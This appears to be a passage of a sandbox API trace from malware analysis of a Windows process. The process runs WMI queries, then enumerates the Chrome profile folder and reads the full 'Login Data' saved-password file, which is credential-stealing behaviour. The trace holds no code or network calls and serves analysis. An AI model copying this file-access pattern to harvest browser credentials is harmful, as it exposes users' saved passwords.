	[0179.305] GetProcAddress (hModule=0x6a310000, lpProcName="EndEnumeration") returned 0x6a311c16
	[0179.307] GetProcAddress (hModule=0x6a310000, lpProcName="GetPropertyQualifierSet") returned 0x6a311c26
	[0179.310] GetProcAddress (hModule=0x6a310000, lpProcName="Clone") returned 0x6a311aa2
	[0179.310] GetProcAddress (hModule=0x6a310000, lpProcName="GetObjectText") returned 0x6a311c3c
	[0179.313] GetProcAddress (hModule=0x6a310000, lpProcName="SpawnDerivedClass") returned 0x6a311c52
	[0179.316] GetProcAddress (hModule=0x6a310000, lpProcName="SpawnInstance") returned 0x6a311c68
	[0179.318] GetProcAddress (hModule=0x6a310000, lpProcName="CompareTo") returned 0x6a311c7e
	[0179.321] GetProcAddress (hModule=0x6a310000, lpProcName="GetPropertyOrigin") returned 0x6a311c94
	[0179.324] GetProcAddress (hModule=0x6a310000, lpProcName="InheritsFrom") returned 0x6a311caa
	[0179.327] GetProcAddress (hModule=0x6a310000, lpProcName="GetMethod") returned 0x6a311cbd
	[0179.329] GetProcAddress (hModule=0x6a310000, lpProcName="PutMethod") returned 0x6a311cd9
	[0179.332] GetProcAddress (hModule=0x6a310000, lpProcName="DeleteMethod") returned 0x6a311cf5
	[0179.334] GetProcAddress (hModule=0x6a310000, lpProcName="BeginMethodEnumeration") returned 0x6a311d08
	[0179.337] GetProcAddress (hModule=0x6a310000, lpProcName="NextMethod") returned 0x6a311d1b
	[0179.340] GetProcAddress (hModule=0x6a310000, lpProcName="EndMethodEnumeration") returned 0x6a311d37
	[0179.342] GetProcAddress (hModule=0x6a310000, lpProcName="GetMethodQualifierSet") returned 0x6a311d47
	[0179.345] GetProcAddress (hModule=0x6a310000, lpProcName="GetMethodOrigin") returned 0x6a311d5d
	[0179.347] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Get") returned 0x6a311d86
	[0179.350] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Put") returned 0x6a311da2
	[0179.353] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Delete") returned 0x6a311dbb
	[0179.355] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_GetNames") returned 0x6a311dce
	[0179.358] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_BeginEnumeration") returned 0x6a311de4
	[0179.360] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Next") returned 0x6a311df7
	[0179.363] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_EndEnumeration") returned 0x6a311e13
	[0179.366] GetProcAddress (hModule=0x6a310000, lpProcName="GetCurrentApartmentType") returned 0x6a311d73
	[0179.368] GetProcAddress (hModule=0x6a310000, lpProcName="GetDemultiplexedStub") returned 0x6a3118fd
	[0179.371] GetProcAddress (hModule=0x6a310000, lpProcName="CreateInstanceEnumWmi") returned 0x6a311580
	[0179.374] GetProcAddress (hModule=0x6a310000, lpProcName="CreateClassEnumWmi") returned 0x6a3115f6
	[0179.377] GetProcAddress (hModule=0x6a310000, lpProcName="ExecQueryWmi") returned 0x6a31169e
	[0179.380] GetProcAddress (hModule=0x6a310000, lpProcName="ExecNotificationQueryWmi") returned 0x6a311717
	[0179.383] GetProcAddress (hModule=0x6a310000, lpProcName="PutInstanceWmi") returned 0x6a311790
	[0179.387] GetProcAddress (hModule=0x6a310000, lpProcName="PutClassWmi") returned 0x6a311810
	[0179.389] GetProcAddress (hModule=0x6a310000, lpProcName="CloneEnumWbemClassObject") returned 0x6a311890
	[0179.392] GetProcAddress (hModule=0x6a310000, lpProcName="ConnectServerWmi") returned 0x6a3124b7
	[0179.395] CoCreateInstance (in: rclsid=0x6a3113a0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6a3112d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x532f128 | out: ppv=0x532f128*=0x472dc20) returned 0x0
	[0179.395] WbemLocator:IWbemLocator:ConnectServer (in: This=0x472dc20, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x532f174 | out: ppNamespace=0x532f174*=0x472dd1c) returned 0x0
	[0179.406] IUnknown:QueryInterface (in: This=0x472dd1c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x532f044 | out: ppvObject=0x532f044*=0x57cd04) returned 0x0
	[0179.406] IClientSecurity:QueryBlanket (in: This=0x57cd04, pProxy=0x472dd1c, pAuthnSvc=0x532f08c, pAuthzSvc=0x532f088, pServerPrincName=0x532f098, pAuthnLevel=0x532f090, pImpLevel=0x532f07c, pAuthInfo=0x532f080, pCapabilites=0x532f084 | out: pAuthnSvc=0x532f08c*=0xa, pAuthzSvc=0x532f088*=0x0, pServerPrincName=0x532f098, pAuthnLevel=0x532f090*=0x6, pImpLevel=0x532f07c*=0x2, pAuthInfo=0x532f080, pCapabilites=0x532f084*=0x1) returned 0x0
	[0179.407] IUnknown:Release (This=0x57cd04) returned 0x1
	[0179.407] IUnknown:QueryInterface (in: This=0x472dd1c, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x532f038 | out: ppvObject=0x532f038*=0x57cd24) returned 0x0
	[0179.407] IUnknown:QueryInterface (in: This=0x472dd1c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x532f034 | out: ppvObject=0x532f034*=0x57cd04) returned 0x0
	[0179.407] IClientSecurity:SetBlanket (This=0x57cd04, pProxy=0x472dd1c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0179.407] IUnknown:Release (This=0x57cd04) returned 0x2
	[0179.407] IUnknown:Release (This=0x57cd24) returned 0x1
	[0179.407] CoTaskMemFree (pv=0x5605b0) 
	[0179.407] WbemLocator:IUnknown:Release (This=0x472dc20) returned 0x0
	[0179.407] IUnknown:QueryInterface (in: This=0x472dd1c, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x532e9f4 | out: ppvObject=0x532e9f4*=0x57cd24) returned 0x0
	[0179.407] IUnknown:QueryInterface (in: This=0x57cd24, riid=0x748a4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x532e9b0 | out: ppvObject=0x532e9b0*=0x0) returned 0x80004002
	[0179.408] IUnknown:QueryInterface (in: This=0x57cd24, riid=0x747d0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x532e8a4 | out: ppvObject=0x532e8a4*=0x0) returned 0x80004002
	[0179.408] IUnknown:AddRef (This=0x57cd24) returned 0x3
	[0179.408] CoGetContextToken (in: pToken=0x532e83c | out: pToken=0x532e83c) returned 0x0
	[0179.408] IUnknown:QueryInterface (in: This=0x57cd24, riid=0x747823cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x532e824 | out: ppvObject=0x532e824*=0x57cc84) returned 0x0
	[0179.408] IMarshal:GetUnmarshalClass (in: This=0x57cc84, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x532e82c | out: pCid=0x532e82c*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0179.409] IUnknown:Release (This=0x57cc84) returned 0x3
	[0179.409] CoGetContextToken (in: pToken=0x532e834 | out: pToken=0x532e834) returned 0x0
	[0179.409] IUnknown:AddRef (This=0x57cd24) returned 0x4
	[0179.409] IUnknown:QueryInterface (in: This=0x57cd24, riid=0x747d767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x532e8a8 | out: ppvObject=0x532e8a8*=0x57cd0c) returned 0x0
	[0179.409] IUnknown:Release (This=0x57cd24) returned 0x4
	[0179.409] IRpcOptions:Query (in: This=0x57cd0c, pPrx=0x57cd24, dwProperty=2, pdwValue=0x532e8cc | out: pdwValue=0x532e8cc) returned 0x80004002
	[0179.409] IUnknown:Release (This=0x57cd0c) returned 0x3
	[0179.409] IUnknown:Release (This=0x57cd24) returned 0x2
	[0179.409] CoGetContextToken (in: pToken=0x532eca8 | out: pToken=0x532eca8) returned 0x0
	[0179.409] CoGetContextToken (in: pToken=0x532ec68 | out: pToken=0x532ec68) returned 0x0
	[0179.410] IUnknown:AddRef (This=0x57cd24) returned 0x3
	[0179.410] IUnknown:QueryInterface (in: This=0x57cd24, riid=0x532ece4*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x532ece0 | out: ppvObject=0x532ece0*=0x472dd1c) returned 0x0
	[0179.410] IUnknown:Release (This=0x57cd24) returned 0x3
	[0179.410] IUnknown:Release (This=0x472dd1c) returned 0x2
	[0179.410] IUnknown:Release (This=0x472dd1c) returned 0x1
	[0179.410] CoUninitialize () 

Thread:
	id = 210
	os_tid = 0x594


Thread:
	id = 211
	os_tid = 0x63c

	[0179.419] CoGetContextToken (in: pToken=0x533f5f0 | out: pToken=0x533f5f0) returned 0x0
	[0179.419] CoGetContextToken (in: pToken=0x533f5e0 | out: pToken=0x533f5e0) returned 0x0
	[0179.419] CoGetMarshalSizeMax (in: pulSize=0x533f5ac, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x57cd24, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0 | out: pulSize=0x533f5ac) returned 0x0
	[0179.419] CoMarshalInterface (pStm=0x57a0d0, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x57cd24, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0

Thread:
	id = 212
	os_tid = 0x5cc


Thread:
	id = 213
	os_tid = 0x628

	[0181.925] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0181.928] ResetEvent (hEvent=0x330) returned 1
	[0181.928] GetLastError () returned 0x0
	[0324.777] CoUninitialize () 

Thread:
	id = 215
	os_tid = 0x160

	[0209.387] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0209.400] CoUninitialize () 

Thread:
	id = 216
	os_tid = 0x138

	[0209.431] CoGetContextToken (in: pToken=0x5eff938 | out: pToken=0x5eff938) returned 0x0
	[0209.431] IUnknown:QueryInterface (in: This=0x527d90, riid=0x748a3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eff96c | out: ppvObject=0x5eff96c*=0x527d9c) returned 0x0
	[0209.431] IComThreadingInfo:GetCurrentThreadType (in: This=0x527d9c, pThreadType=0x5eff9a0 | out: pThreadType=0x5eff9a0*=0) returned 0x0
	[0209.431] IUnknown:Release (This=0x527d9c) returned 0x1
	[0209.431] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0

Thread:
	id = 217
	os_tid = 0x12c

	[0209.434] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0209.440] CoUninitialize () 

Thread:
	id = 218
	os_tid = 0x170

	[0209.462] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0
	[0209.653] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x5af788 | out: pszPath="C:\\Users\\kFT6uTQW\\AppData\\Local") returned 0x0
	[0209.654] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x5ffe114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local", lpFilePart=0x0) returned 0x1f
	[0209.654] GetLastError () returned 0x3f0
	[0209.656] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\", nBufferLength=0x105, lpBuffer=0x5ffe0d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\", lpFilePart=0x0) returned 0x38
	[0209.656] GetLastError () returned 0x3f0
	[0209.657] SetErrorMode (uMode=0x1) returned 0x0
	[0209.658] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\*", lpFindFileData=0x5af7b8 | out: lpFindFileData=0x5af7b8) returned 0x578470
	[0209.672] GetLastError () returned 0x3f0
	[0209.673] FindNextFileW (in: hFindFile=0x578470, lpFindFileData=0x5af7a0 | out: lpFindFileData=0x5af7a0) returned 1
	[0209.673] GetLastError () returned 0x3f0
	[0209.673] FindNextFileW (in: hFindFile=0x578470, lpFindFileData=0x5af7a0 | out: lpFindFileData=0x5af7a0) returned 1
	[0209.673] GetLastError () returned 0x3f0
	[0209.673] FindNextFileW (in: hFindFile=0x578470, lpFindFileData=0x5af7a0 | out: lpFindFileData=0x5af7a0) returned 1
	[0209.673] GetLastError () returned 0x3f0
	[0209.674] FindNextFileW (in: hFindFile=0x578470, lpFindFileData=0x5af7a0 | out: lpFindFileData=0x5af7a0) returned 1
	[0209.674] GetLastError () returned 0x3f0
	[0209.674] FindNextFileW (in: hFindFile=0x578470, lpFindFileData=0x5af7a0 | out: lpFindFileData=0x5af7a0) returned 1
	[0209.674] GetLastError () returned 0x3f0
	[0209.674] FindNextFileW (in: hFindFile=0x578470, lpFindFileData=0x5af7a0 | out: lpFindFileData=0x5af7a0) returned 1
	[0209.674] GetLastError () returned 0x3f0
	[0209.674] FindNextFileW (in: hFindFile=0x578470, lpFindFileData=0x5af7a0 | out: lpFindFileData=0x5af7a0) returned 1
	[0209.674] GetLastError () returned 0x3f0
	[0209.674] FindNextFileW (in: hFindFile=0x578470, lpFindFileData=0x5af7a0 | out: lpFindFileData=0x5af7a0) returned 1
	[0209.674] GetLastError () returned 0x3f0
	[0209.674] FindNextFileW (in: hFindFile=0x578470, lpFindFileData=0x5af7a0 | out: lpFindFileData=0x5af7a0) returned 1
	[0209.674] GetLastError () returned 0x3f0
	[0209.674] FindNextFileW (in: hFindFile=0x578470, lpFindFileData=0x5af7a0 | out: lpFindFileData=0x5af7a0) returned 1
	[0209.674] GetLastError () returned 0x3f0
	[0209.675] FindNextFileW (in: hFindFile=0x578470, lpFindFileData=0x5af7a0 | out: lpFindFileData=0x5af7a0) returned 1
	[0209.675] GetLastError () returned 0x3f0
	[0209.675] FindNextFileW (in: hFindFile=0x578470, lpFindFileData=0x5af7a0 | out: lpFindFileData=0x5af7a0) returned 1
	[0209.675] GetLastError () returned 0x3f0
	[0209.675] FindNextFileW (in: hFindFile=0x578470, lpFindFileData=0x5af7a0 | out: lpFindFileData=0x5af7a0) returned 1
	[0209.675] GetLastError () returned 0x3f0
	[0209.675] FindNextFileW (in: hFindFile=0x578470, lpFindFileData=0x5af7a0 | out: lpFindFileData=0x5af7a0) returned 1
	[0209.675] GetLastError () returned 0x3f0
	[0209.675] FindNextFileW (in: hFindFile=0x578470, lpFindFileData=0x5af7a0 | out: lpFindFileData=0x5af7a0) returned 1
	[0209.675] GetLastError () returned 0x3f0
	[0209.675] FindNextFileW (in: hFindFile=0x578470, lpFindFileData=0x5af7a0 | out: lpFindFileData=0x5af7a0) returned 1
	[0209.675] GetLastError () returned 0x3f0
	[0209.675] FindNextFileW (in: hFindFile=0x578470, lpFindFileData=0x5af7a0 | out: lpFindFileData=0x5af7a0) returned 1
	[0209.675] GetLastError () returned 0x3f0
	[0209.676] FindNextFileW (in: hFindFile=0x578470, lpFindFileData=0x5af7a0 | out: lpFindFileData=0x5af7a0) returned 1
	[0209.676] GetLastError () returned 0x3f0
	[0209.676] FindNextFileW (in: hFindFile=0x578470, lpFindFileData=0x5af7a0 | out: lpFindFileData=0x5af7a0) returned 1
	[0209.676] GetLastError () returned 0x3f0
	[0209.676] FindNextFileW (in: hFindFile=0x578470, lpFindFileData=0x5af7a0 | out: lpFindFileData=0x5af7a0) returned 0
	[0209.676] GetLastError () returned 0x12
	[0209.676] FindClose (in: hFindFile=0x578470 | out: hFindFile=0x578470) returned 1
	[0209.677] SetErrorMode (uMode=0x0) returned 0x1
	[0209.689] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x5ffe17c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4a
	[0209.689] GetLastError () returned 0x12
	[0209.689] SetErrorMode (uMode=0x1) returned 0x0
	[0209.689] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\login data"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5fc | out: lpFileInformation=0x5ffe5fc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb617900, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xeb617900, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xeb6afe80, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x4800)) returned 1
	[0209.708] GetLastError () returned 0x12
	[0209.708] SetErrorMode (uMode=0x0) returned 0x1
	[0209.764] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x5ffe138, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4a
	[0209.764] GetLastError () returned 0x12
	[0209.764] SetErrorMode (uMode=0x1) returned 0x0
	[0209.764] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\login data"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5b8 | out: lpFileInformation=0x5ffe5b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb617900, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xeb617900, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xeb6afe80, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x4800)) returned 1
	[0209.764] GetLastError () returned 0x12
	[0209.764] SetErrorMode (uMode=0x0) returned 0x1
	[0209.789] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x5ffe120, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4a
	[0209.789] GetLastError () returned 0x12
	[0209.789] SetErrorMode (uMode=0x1) returned 0x0
	[0209.789] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\login data"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5a0 | out: lpFileInformation=0x5ffe5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb617900, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xeb617900, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xeb6afe80, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x4800)) returned 1
	[0209.789] GetLastError () returned 0x12
	[0209.789] SetErrorMode (uMode=0x0) returned 0x1
	[0209.807] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x5ffe0c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4a
	[0209.807] GetLastError () returned 0x12
	[0209.807] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x5ffe058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4a
	[0209.807] GetLastError () returned 0x12
	[0209.808] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x5ffe0a4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4a
	[0209.808] GetLastError () returned 0x12
	[0209.808] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x5ffe038, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4a
	[0209.808] GetLastError () returned 0x12
	[0209.808] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x5ffe06c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4a
	[0209.808] GetLastError () returned 0x12
	[0209.808] SetErrorMode (uMode=0x1) returned 0x0
	[0209.808] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\login data"), fInfoLevelId=0x0, lpFileInformation=0x5ffe4ec | out: lpFileInformation=0x5ffe4ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb617900, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xeb617900, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xeb6afe80, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x4800)) returned 1
	[0209.808] GetLastError () returned 0x12
	[0209.808] SetErrorMode (uMode=0x0) returned 0x1
	[0209.808] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x5ffdf54, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4a
	[0209.808] GetLastError () returned 0x12
	[0209.808] SetErrorMode (uMode=0x1) returned 0x0
	[0209.808] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\login data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2dc
	[0209.808] GetLastError () returned 0x0
	[0209.808] GetFileType (hFile=0x2dc) returned 0x1
	[0209.808] SetErrorMode (uMode=0x0) returned 0x1
	[0209.808] GetFileType (hFile=0x2dc) returned 0x1
	[0209.809] GetFileSize (in: hFile=0x2dc, lpFileSizeHigh=0x5ffe5dc | out: lpFileSizeHigh=0x5ffe5dc*=0x0) returned 0x4800
	[0209.809] GetLastError () returned 0x0
	[0209.827] ReadFile (in: hFile=0x2dc, lpBuffer=0x245f41c, nNumberOfBytesToRead=0x4800, lpNumberOfBytesRead=0x5ffe4fc, lpOverlapped=0x0 | out: lpBuffer=0x245f41c*, lpNumberOfBytesRead=0x5ffe4fc*=0x4800, lpOverlapped=0x0) returned 1
	[0209.844] GetLastError () returned 0x0
	[0209.845] CloseHandle (hObject=0x2dc) returned 1
	[0209.845] GetLastError () returned 0x0
	[0209.850] VarDecCmp (pdecLeft=0x5ffe5f0, pdecRight=0x5ffe5e0) returned 0x2
	[0209.967] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0209.967] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffdcbc | out: pdecResult=0x5ffdcbc) returned 0x0
	[0209.968] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0209.968] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.005] VarDecRound (in: pdecIn=0x5ffcd84, cDecimals=0, pdecResult=0x5ffcd6c | out: pdecResult=0x5ffcd6c) returned 0x0
	[0210.005] VarDecRound (in: pdecIn=0x5ffcd84, cDecimals=0, pdecResult=0x5ffcd6c | out: pdecResult=0x5ffcd6c) returned 0x0
	[0210.006] VarDecRound (in: pdecIn=0x5ffcd3c, cDecimals=0, pdecResult=0x5ffcd5c | out: pdecResult=0x5ffcd5c) returned 0x0
	[0210.009] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.009] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.009] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.009] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.009] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.009] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.009] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.009] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.009] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
